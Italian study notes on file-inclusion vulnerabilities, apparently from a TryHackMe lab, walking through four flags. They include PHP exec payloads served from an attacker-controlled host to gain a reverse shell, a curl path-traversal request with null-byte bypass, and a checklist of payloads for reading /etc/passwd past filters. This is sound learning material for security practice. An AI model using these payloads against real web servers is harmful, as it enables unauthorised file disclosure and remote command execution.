Remote File Inclusion
Con l'RFI - Remote File Inclusion è possibile ottenere l'RCE - Remote Command Execution. Infatti l'RFI è una vulnerabilità molto più pericolosa rispetto all'LFI. Con l'RFI è possibile ad esempio scari
Con l'RFI - Remote File Inclusion è possibile ottenere l'RCE - Remote Command Execution. Infatti l'RFI è una vulnerabilità molto più pericolosa rispetto all'LFI. Con l'RFI è possibile ad esempio scaricare file da un server esterno. esempio: https://vittima.com/MIO_IP:8000/shell.sh.
MIO_IP = è l'indirizzo del mio web server dove ho i file da scaricare
In questo esempio andiamo a scaricare una shell sul sito web vittima, in modo da poter ottenere una reverse shell con netcat ed exploitare la macchina attaccata.
Bisogna creare un file di testo con i comandi da eseguire, per un backend php.
Esempio: cmd.txt
<?PHP print exec('comando-da-eseguire'); ?>
CHALLENGE FILE INCLUSION SPIEGAZIONE:
flag 1: cambiare la richiesta da GET a POST (o con burpsuite o tramite ispeziona pagina) poi cercare il file../../../../etc/flag1
flag 2: la pagina è visibile solo agli admin. Quindi tramite ispeziona pagina cambiare cookie THM e impostare "admin". Dopodichè ci viene mostrata la home page dedicata agli amdin. Allora lì capisco che tramite i cookie è possibile fare una richiesta di un file. Allora nel cookie thm tolgo admin ed inserisco "../../../../etc/flag2%00", Così mi viene mostrata la flag 2. Con %00 bypassiamo il controllo del sito.
flag 3: qui il problema è che facendo la richiesta dal sito viene aggiunto al termine del file indicato '.php' Allora procedo a fare la richiesta da terminale con il seguente comando:
curl -X POST http://10.10.30.225/challenges/chall3.php -d 'method=POST&file=../../../../etc/flag3%00' --output -
flag 4: qui abbiamo avuto la possibilità di sfruttare l'RCE tramite l'RFI. Allora sul nostro server web abbiamo caricato questo file:
<?PHP print exec('hostname'); ?>
Con questa vulnerabilità infatti c'è la possibilità di ottenere l'esecuzione remota di comandi, e visto che la flag richiedeva di trovare l'hostname della macchina, abbiamo creato un file con un comando all'interno per appunto mostrare a video l'hostname della macchina.
TECNICHE DA PROVARE PER IL FILE INCLUSION:
- ../../../../etc/passwd: in base a quale directory siamo, dobbiamo vedere quante volte scrivere il commando '../' per andare indietro nella path
- ....//....//....//....//etc/passwd: bisogna raddoppiare il comando '../' se quest'ultimo viene eliminato da un filtro. Raddoppiando, uscirà questo ....//, quindi il filtro toglierà un solo ../, e rimarrà questo ../../../../etc/passwd
- provare a fare la richiesta anche da terminale, come fatto sopra
- provare RFI - Remote File Inclusion, quindi provare ad iniettare comandi all'interno del server web php. Se ti accorgi che il server è scritto in un altro linguaggio, cambiare il file 'cmd.txt', con il linguaggio adatto.
- alla fine del file inserire il nullbyte per bypassare il check (%00 / 0x00)
- provare a cambiare la richiesta da GET a POST o viceversa tramite ispezione pagina o tramite burpsuite, mandando la richiesta al repeater